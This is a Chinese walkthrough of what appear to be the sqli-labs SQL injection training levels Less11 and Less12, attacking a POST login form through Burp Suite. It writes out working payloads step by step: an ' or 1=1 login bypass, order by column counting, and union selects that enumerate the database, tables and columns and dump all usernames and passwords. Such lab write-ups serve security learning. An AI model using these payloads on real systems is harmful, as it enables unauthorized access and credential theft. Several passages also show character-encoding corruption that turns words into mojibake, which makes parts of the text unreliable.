Less11
基于錯誤_POST_單引號_字符型注入
從這篇開始我們就進入激動人心的POST部分了。
以后使用POST的關(guān)卡都用BurpSuite來操作,Burp的基本操作就不多做介紹。
0x01. 分析表單
打開網(wǎng)站后發(fā)現(xiàn)是個丑丑的登錄框,檢查元素可以看到用戶名和密碼兩個參數(shù)分別為uname和passwd,于是便可在Burp中提交參數(shù)uname=xxx&passwd=xxx。

0x02. 判斷字符型/數(shù)字型注入
uname=1&passwd=1
uname=1&passwd=1'
uname=1&passwd=1"
第一、第三條提示登錄失?。ɑ仫@正常),第二條報錯:

從返回的一部分語句中可以看出是單引號的字符型注入,猜測查詢語句:
select username,password from table_name where username='$_POST['uname']' and password='$_POST['passwd']' limit 0,1
0x03. 判斷注入點
構(gòu)造永真條件測試注入點:
uname=1&passwd=1' or 1=1--+

因limit 0,1返回了表中第一條的信息:Dumb,Dumb,即這里存在注入點,原理在Less1中介紹過:
or'1'='1'是一個永真條件(也可以用其他永真條件替代),使查詢語句相當于select username,password from users where true即select username,password from users,返回所有結(jié)果。
0x04. 判斷字段數(shù)
利用order by語句判斷字段數(shù):
uanme=1&passwd=1' order by 3--+

注意:這里的字段數(shù)是查詢語句返回的字段數(shù),并非表中的字段數(shù),目的用于猜測查詢語句。
0x05. 獲取數(shù)據(jù)庫名、表名、字段名
利用union語句聯(lián)合查詢:
步驟1:用戶名和數(shù)據(jù)庫名
uname=1&passwd=1' union select user(),database()--+

用戶名root,數(shù)據(jù)庫名security
步驟2:表名
uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+

表名users
步驟3:字段名
uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

字段名username、password
步驟4:數(shù)據(jù)
uname=1&passwd=1' union select group_concat(username),group_concat(password) from users--+

0x06. 吐槽
嘗試了很久發(fā)現(xiàn)火狐的Hackbar不能Post帶有單引號的數(shù)據(jù)。舊版的火狐和舊版的Hackbar是絕配,而在火狐57+以后對擴展有了新的標準,Hackbar的新版本就是個辣雞,只有在寫長Url的時候比較好用。
為什么最新版Firefox瀏覽器禁止了Hackbar滲透測試插件的使用?
關(guān)于新版firefox中hackbar不能使用的集中解決方案
這些文章里所說的擴展替代品挨個試了下,都更丑且難用。
還是Burp大法好!
Less12
基于錯誤_POST_雙引號_小括號_字符型注入
和Less11差別在于單雙引號和小括號,在報錯回顯中能夠直接看出雙引號與小括號,用同樣的方式注入。